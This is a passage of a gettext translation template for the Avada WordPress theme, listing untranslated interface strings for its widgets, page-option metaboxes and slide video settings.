includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:150 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:169 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:188 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:207 msgid "Image Ad Link:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:154 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:173 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:192 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:211 msgid "Ad Link:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:158 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:177 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:196 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:215 msgid "Image Hover Type:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:161 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:180 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:199 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:218 #: includes/options/events_calendar.php:220 msgid "Zoom In" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:162 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:181 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:200 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:219 msgid "Zoon Out" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:163 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:182 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:201 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:220 #: includes/options/events_calendar.php:222 msgid "Lift Up" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:223 msgid "General Options" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:225 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:569 msgid "Link Target:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:227 msgid "_self" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:228 msgid "_blank" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:41 msgid "Display author details." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:47 msgid "Avada: Author" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:176 msgid "Posted by" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:195 #: templates/author-info.php:30 msgid "This author has not yet filled in any details." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:197 #. translators: %s: Number. msgid "So far the author has created %s blog entries." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:232 #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:356 msgid "Post Date" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:287 #: includes/options/portfolio.php:674 includes/options/search.php:559 msgid "Author" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:301 msgid "" "IMPORTANT: When used on single posts, the author will be auto pulled. If " "you want to display a specific author please use the \"Custom Author\" " "field. Post date will on be displayed on single posts." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:304 #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:150 #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:219 #: includes/lib/inc/widgets/class-fusion-widget-flickr.php:172 #: includes/lib/inc/widgets/class-fusion-widget-recent-works.php:139 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:564 #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:279 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:302 msgid "Title:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:309 msgid "Custom Author (username or ID):" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:314 msgid "Avatar:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:317 #: includes/metaboxes/tabs/tab_template.php:522 includes/options/blog.php:138 #: includes/options/blog.php:169 includes/options/search.php:345 msgid "Medium" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:325 msgid "Display Name:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:327 msgid "Name with label" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:328 msgid "Name only" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:329 msgid "Name as widget title" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:336 msgid "Link to author page" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:341 msgid "Display custom author message" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:346 msgid "Display author biography" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:351 msgid "Display author social icons" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:356 msgid "Display separator" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:360 msgid "Display Post Date:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:362 msgid "Date with label" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-author.php:363 msgid "Date only" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:31 msgid "Adds custom contact information." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:36 msgid "Avada: Contact Info" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:66 #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:158 #: templates/wc-view-order.php:184 msgid "Phone:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:70 #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:162 msgid "Mobile:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:74 #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:166 msgid "Fax:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:79 #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:81 #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:170 #: templates/wc-view-order.php:179 msgid "Email:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:86 msgid "Web:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:154 msgid "Address:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:174 msgid "Email Link Text:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:178 msgid "Website URL (with HTTP(S)):" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-contact-info.php:182 msgid "Website URL Text:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:31 msgid "Adds support for Facebook Page Plugin." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:37 msgid "Avada: Facebook Page Plugin" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:201 msgid "Find us on Facebook" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:216 msgid "" "IMPORTANT: Please create a Facebook App and use its ID for features like " "sharing." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:216 msgid "See Instructions." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:224 msgid "Facebook Page URL:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:229 msgid "Facebook App ID:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:234 msgid "Width (has to be between 180 and 500):" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:240 msgid "Show Friends Faces" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:245 msgid "Show Timeline Tab" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:250 msgid "Show Events Tab" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:255 msgid "Show Messages Tab" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:260 msgid "Show Cover Photo" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-facebook-page.php:265 msgid "Use Small Header" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-flickr.php:31 msgid "The most recent photos from flickr." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-flickr.php:37 msgid "Avada: Flickr" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-flickr.php:160 msgid "Photos from Flickr" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-flickr.php:178 #. translators: URL. msgid "Flickr ID (Get your flickr ID):" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-flickr.php:183 msgid "Number of photos to show:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-flickr.php:189 #. translators: URL. msgid "" "API key (Use default or get your own from Flickr APP " "Garden):" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-flickr.php:192 #. translators: the default key. msgid "Default key is: %s" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-form.php:31 #: includes/lib/inc/widgets/class-fusion-widget-menu.php:31 msgid "Adds a horizontal navigation" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-form.php:36 msgid "Avada: Form" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-form.php:115 msgid "Select Form:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-menu.php:36 msgid "Avada: Horizontal Menu" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-menu.php:106 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:116 msgid "Secondary navigation" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-menu.php:109 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:119 #. translators: The widget name. msgid "Secondary Navigation: %s" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-menu.php:175 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:316 msgid "Select Menu:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-menu.php:186 msgid "Alignment:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-menu.php:194 msgid "Menu Padding:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-menu.php:198 msgid "Menu Link Color:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-menu.php:202 msgid "Menu Link Hover Color:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-menu.php:206 msgid "Separator Text:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-menu.php:210 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:357 msgid "Font Size:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-recent-works.php:31 msgid "Recent works from the portfolio." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-recent-works.php:37 msgid "Avada: Recent Works" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-recent-works.php:133 msgid "Recent Works" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-recent-works.php:144 msgid "Number Of Items To Show:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:53 msgid "Adds social media icons with custom links." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:59 msgid "Avada: Social Links" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:501 msgid "Get Social" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:574 msgid "Icons Font Size:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:579 msgid "Icons Color Type:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:581 msgid "Custom Color" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:582 #: includes/options/social_media.php:292 includes/options/social_media.php:544 #: includes/options/social_media.php:900 msgid "Brand Colors" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:587 msgid "Icons Color Hex Code:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:592 msgid "Icons Boxed:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:600 msgid "Boxed Icons Background Color Hex Code:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:605 msgid "Boxed Icons Radius:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:610 msgid "Boxed Icons Padding:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:615 msgid "Tooltip Position:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:626 msgid "Show Custom Icons:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:634 msgid "Use Global Options Links:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:654 #. translators: The social-network label. msgid "%s Link:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:41 msgid "Popular posts, recent post and comments." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:47 msgid "Avada: Tabs" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:119 msgid "Popular" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:123 msgid "Recent" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:127 #: includes/options/blog.php:895 includes/options/portfolio.php:719 #: includes/options/search.php:563 msgid "Comments" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:185 #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:233 msgid "No posts have been published yet." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:261 #. translators: comment author. msgid "%s says:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:264 #. translators: %1$s: comment author. %2$s: post-title. msgid "%1$s on %2$s" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:270 msgid "No comments have been published yet." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:344 msgid "Tabs Design:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:346 #: includes/options/menu.php:2080 includes/options/search.php:123 #: includes/options/woocommerce.php:650 msgid "Classic" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:347 #: includes/options/search.php:124 includes/options/woocommerce.php:651 msgid "Clean" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:351 msgid "Post Design:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:353 msgid "Featured Image / Avatar Default Shape" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:354 msgid "Featured Image / Avatar Square" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:355 msgid "Featured Image / Avatar Circle" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:360 msgid "Popular Posts Order By:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:362 msgid "Highest Comments" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:363 msgid "Highest Views" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:367 msgid "Number of popular posts:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:371 msgid "Number of recent posts:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:375 msgid "Number of comments:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:380 msgid "Show popular posts" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:384 msgid "Show recent posts" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tabs.php:388 msgid "Show comments" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:41 msgid "Adds your X timeline" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:47 msgid "Avada: X" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:202 msgid "Recent Tweets" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:276 #. translators: "How to setup the Avada twitter widget." link. msgid "" "For general setup information or information on how to setup a X App or a X " "Widget on X.com, please see our documentation: %s" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:276 msgid "How to setup the Avada twitter widget." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:284 msgid "Widget Style:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:286 msgid "X Preconfigured Style (deprecated)" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:287 msgid "X Style" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:288 msgid "Avada Style" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:293 msgid "X Username:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:298 msgid "X Widget ID:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:303 msgid "Consumer Key:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:308 msgid "Consumer Secret:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:313 msgid "Access Token:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:318 msgid "Access Token Secret:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:323 msgid "Icon Color (leave empty for default icon color):" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:328 msgid "Max. Width (has to be between 180 and 520):" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:333 msgid "Height (min. is 200):" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:338 msgid "Color Scheme:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:346 msgid "Link Color (leave empty for Theme default link color):" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:351 msgid "Border Color:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:357 msgid "Show Header" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:362 msgid "Show Footer" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:367 msgid "Show Borders" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:372 msgid "Transparent Background" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:399 #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:405 #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:408 #. translators: The user's twitter handle. #. translators: The twitter-ID. #. translators: The twitter-ID. msgid "Tweets by %s" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:31 msgid "This widget replaces the Side Navigation Template." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:36 msgid "Avada: Vertical Menu" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:139 msgid "" "For the vertical layout to work, the page needs to be set as part of the " "WordPress parent/child hierarchy." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:307 msgid "Menu Type:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:309 msgid "Custom Menu" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:310 msgid "Vertical Menu" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:312 msgid "" "Choose if a custom menu or the classic side navigation (vertical menu " "option) should be displayed." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:328 msgid "Parent Page:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:341 msgid "Behavior:" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:349 msgid "Layout:" msgstr "" #: includes/metaboxes/metaboxes.php:317 includes/metaboxes/metaboxes.php:318 #: includes/metaboxes/metaboxes.php:319 includes/metaboxes/metaboxes.php:320 #: includes/metaboxes/metaboxes.php:322 includes/metaboxes/metaboxes.php:328 #: includes/metaboxes/metaboxes.php:329 includes/metaboxes/metaboxes.php:332 msgid "Avada Page Options" msgstr "" #: includes/metaboxes/metaboxes.php:321 msgid "Elastic Slide Options" msgstr "" #: includes/metaboxes/metaboxes.php:323 msgid "Slide Options" msgstr "" #: includes/metaboxes/metaboxes.php:324 msgid "Events Calendar Event Options" msgstr "" #: includes/metaboxes/metaboxes.php:326 msgid "Avada Form Options" msgstr "" #: includes/metaboxes/metaboxes.php:667 includes/metaboxes/tabs/tab_page.php:30 #: includes/metaboxes/tabs/tab_page.php:51 includes/options/layout.php:41 #: includes/options/layout.php:48 #. translators: The edit link. Text of link is the title. msgid "Layout" msgstr "" #: includes/metaboxes/metaboxes.php:668 includes/metaboxes/tabs/tab_post.php:22 msgid "FAQ" msgstr "" #: includes/metaboxes/metaboxes.php:668 includes/metaboxes/tabs/tab_post.php:22 #: includes/metaboxes/tabs/tab_template.php:242 msgid "Post" msgstr "" #: includes/metaboxes/metaboxes.php:669 #: includes/metaboxes/tabs/tab_header.php:21 includes/options/header.php:41 msgid "Header" msgstr "" #: includes/metaboxes/metaboxes.php:671 #: includes/metaboxes/tabs/tab_sidebars.php:24 includes/options/sidebars.php:64 msgid "Sidebars" msgstr "" #: includes/metaboxes/metaboxes.php:674 templates/wc-view-order.php:86 #: woocommerce/cart/cart.php:31 woocommerce/cart/cart.php:61 #: woocommerce/checkout/form-pay.php:29 #: woocommerce/checkout/review-order.php:26 msgid "Product" msgstr "" #: includes/metaboxes/metaboxes.php:675 #: includes/metaboxes/tabs/tab_template.php:146 msgid "Layout Section" msgstr "" #: includes/metaboxes/metaboxes.php:676 includes/metaboxes/metaboxes.php:685 #: includes/metaboxes/tabs/tab_form_general.php:31 #: includes/metaboxes/tabs/tab_off_canvas_general.php:21 #: includes/metaboxes/tabs/tab_off_canvas_general.php:264 msgid "General" msgstr "" #: includes/metaboxes/metaboxes.php:677 #: includes/metaboxes/tabs/tab_form_submission.php:41 msgid "Submission" msgstr "" #: includes/metaboxes/metaboxes.php:678 #: includes/metaboxes/tabs/tab_form_notifications.php:31 #: includes/metaboxes/tabs/tab_form_notifications.php:64 msgid "Notifications" msgstr "" #: includes/metaboxes/metaboxes.php:679 #: includes/metaboxes/tabs/tab_form_confirmation.php:20 msgid "Confirmation" msgstr "" #: includes/metaboxes/metaboxes.php:680 #: includes/metaboxes/tabs/tab_form_appearance.php:20 msgid "Appearance" msgstr "" #: includes/metaboxes/metaboxes.php:681 includes/options/privacy.php:32 msgid "Privacy" msgstr "" #: includes/metaboxes/metaboxes.php:682 #: includes/metaboxes/tabs/tab_footer.php:21 includes/options/footer.php:34 msgid "Footer" msgstr "" #: includes/metaboxes/metaboxes.php:684 #: includes/metaboxes/tabs/tab_studio_tools.php:20 msgid "Studio Tools" msgstr "" #: includes/metaboxes/metaboxes.php:686 #: includes/metaboxes/tabs/tab_off_canvas_design.php:20 msgid "Design" msgstr "" #: includes/metaboxes/metaboxes.php:688 #: includes/metaboxes/tabs/tab_off_canvas_close.php:20 msgid "Close" msgstr "" #: includes/metaboxes/metaboxes.php:689 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:47 msgid "Animation" msgstr "" #: includes/metaboxes/metaboxes.php:690 #: includes/metaboxes/tabs/tab_off_canvas_conditions.php:20 #: includes/metaboxes/tabs/tab_off_canvas_conditions.php:38 msgid "Conditions" msgstr "" #: includes/metaboxes/metaboxes.php:691 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:20 msgid "Triggers" msgstr "" #: includes/metaboxes/metaboxes.php:692 #: includes/metaboxes/tabs/tab_off_canvas_rules.php:30 msgid "Rules" msgstr "" #: includes/metaboxes/metaboxes.php:694 #: includes/metaboxes/tabs/tab_form_steps.php:22 msgid "Step Progress" msgstr "" #: includes/metaboxes/metaboxes.php:695 includes/metaboxes/tabs/tab_seo.php:22 msgid "SEO" msgstr "" #: includes/metaboxes/metaboxes.php:745 msgid "responsive" msgstr "" #: includes/metaboxes/metaboxes.php:999 msgid "Please use live-editor to change this setting." msgstr "" #: includes/metaboxes/metaboxes.php:1656 msgid "Browse" msgstr "" #: includes/metaboxes/metaboxes.php:1745 includes/metaboxes/metaboxes.php:2121 msgid "Repeater Row" msgstr "" #: includes/metaboxes/metaboxes.php:1900 msgid "No form fields or HubSpot preferences found." msgstr "" #: includes/metaboxes/metaboxes.php:2151 msgid "Conditional Field" msgstr "" #: includes/metaboxes/metaboxes.php:2151 msgid "Select the conditional field." msgstr "" #: includes/metaboxes/metaboxes.php:2153 msgid "Comparison" msgstr "" #: includes/metaboxes/metaboxes.php:2153 msgid "Select the comparison." msgstr "" #: includes/metaboxes/metaboxes.php:2155 msgid "Set a value for comparison." msgstr "" #: includes/metaboxes/metaboxes.php:2157 msgid "Operator" msgstr "" #: includes/metaboxes/metaboxes.php:2157 msgid "Set an operatot to connect several conditionals." msgstr "" #: includes/metaboxes/options/options_es.php:18 #: includes/options/lightbox.php:441 msgid "Caption" msgstr "" #: includes/metaboxes/options/options_slide.php:23 msgid "Background Type" msgstr "" #: includes/metaboxes/options/options_slide.php:26 msgid "Self-Hosted Video" msgstr "" #: includes/metaboxes/options/options_slide.php:27 msgid "Youtube" msgstr "" #: includes/metaboxes/options/options_slide.php:30 msgid "" "Select an image or video slide. If using an image, please select the image " "in the \"Featured Image\" box on the right hand side." msgstr "" #: includes/metaboxes/options/options_slide.php:36 msgid "Video Options" msgstr "" #: includes/metaboxes/options/options_slide.php:41 msgid "Youtube Video ID" msgstr "" #: includes/metaboxes/options/options_slide.php:43 #: includes/metaboxes/options/options_slide.php:49 #. translators: %1$s: URL. %2$s: ID. msgid "For example the Video ID for %1$s is %2$s" msgstr "" #: includes/metaboxes/options/options_slide.php:47 msgid "Vimeo Video ID" msgstr "" #: includes/metaboxes/options/options_slide.php:53 msgid "Video MP4 Upload" msgstr "" #: includes/metaboxes/options/options_slide.php:54 msgid "" "Add your MP4 video file. This format must be included to render your video " "with cross-browser compatibility. WebM and OGV are optional. Using videos " "in a 16:9 aspect ratio is recommended." msgstr "" #: includes/metaboxes/options/options_slide.php:58 msgid "Video WebM Upload" msgstr "" #: includes/metaboxes/options/options_slide.php:59 msgid "" "Add your WebM video file. This is optional, only MP4 is required to render " "your video with cross-browser compatibility. Using videos in a 16:9 aspect " "ratio is recommended." msgstr "" #: includes/metaboxes/options/options_slide.php:63 msgid "Video OGV Upload" msgstr "" #: includes/metaboxes/options/options_slide.php:64 msgid "" "Add your OGV video file. This is optional, only MP4 is required to render " "your video with cross-browser compatibility. Using videos in a 16:9 aspect " "ratio is recommended." msgstr "" #: includes/metaboxes/options/options_slide.php:68 msgid "Video Preview Image" msgstr "" #: includes/metaboxes/options/options_slide.php:69 msgid "" "IMPORTANT: This field must be used for self hosted videos. Self hosted " "videos do not work correctly on mobile devices. The preview image will be " "seen in place of your video on older browsers or mobile devices." msgstr "" #: includes/metaboxes/options/options_slide.php:73 msgid "Video Aspect Ratio" msgstr "" #: includes/metaboxes/options/options_slide.php:74 msgid "" "The video will be resized to maintain this aspect ratio, this is to prevent " "the video from showing any black bars. Enter an aspect ratio here such as: " "\"16:9\", \"4:3\" or \"16:10\". The default is \"16:9\"" msgstr "" #: includes/metaboxes/options/options_slide.php:78 msgid "Video Display Mode" msgstr "" #: includes/metaboxes/options/options_slide.php:80 #: includes/metaboxes/tabs/tab_off_canvas_design.php:116 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:178 msgid "Cover" msgstr "" #: includes/metaboxes/options/options_slide.php:81 #: includes/metaboxes/tabs/tab_off_canvas_design.php:117 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:179 msgid "Contain" msgstr "" #: includes/metaboxes/options/options_slide.php:83 msgid "" "If set to cover, the video will fill the entire slider area. If set to " "contain, the video will display such that both its width and its height can " "fit inside the slider area." msgstr "" #: includes/metaboxes/options/options_slide.php:87 msgid "Video Color Overlay" msgstr "" #: includes/metaboxes/options/options_slide.php:88 msgid "Select a color to show over the video as an overlay." msgstr "" #: includes/metaboxes/options/options_slide.php:93 msgid "Mute Video" msgstr "" #: includes/metaboxes/options/options_slide.php:102 msgid "Autoplay Video" msgstr "" #: includes/metaboxes/options/options_slide.php:111 msgid "Loop Video" msgstr "" #: includes/metaboxes/options/options_slide.php:120 msgid "Hide Video Controls" msgstr "" #: includes/metaboxes/options/options_slide.php:125 msgid "" "If this is set to yes, autoplay must be enabled, otherwise the video can't " "play. For YouTube and Vimeo videos, in order to ensure the controls are " "always fully visible, the Video Display Mode should be set to \"contain\"." msgstr "" #: includes/metaboxes/options/options_slide.php:131 msgid "Content Options" msgstr "" #: includes/metaboxes/options/options_slide.php:137 #: includes/metaboxes/tabs/tab_off_canvas_general.php:276 msgid "Content Alignment" msgstr "" #: includes/metaboxes/options/options_slide.php:143 msgid "Select how the heading, caption and buttons will be aligned." msgstr "" #: includes/metaboxes/options/options_slide.php:147 msgid "Heading Area" msgstr "" #: includes/metaboxes/options/options_slide.php:148 msgid "" "Enter the heading for your slide. This field can take HTML markup and " "simple Avada Shortcodes that work inside a heading tag." msgstr "" #: includes/metaboxes/options/options_slide.php:152 msgid "Heading Separator" msgstr "" #: includes/metaboxes/options/options_slide.php:155 #: includes/metaboxes/options/options_slide.php:230 msgid "Single Solid" msgstr "" #: includes/metaboxes/options/options_slide.php:156 #: includes/metaboxes/options/options_slide.php:231 msgid "Single Dashed" msgstr "" #: 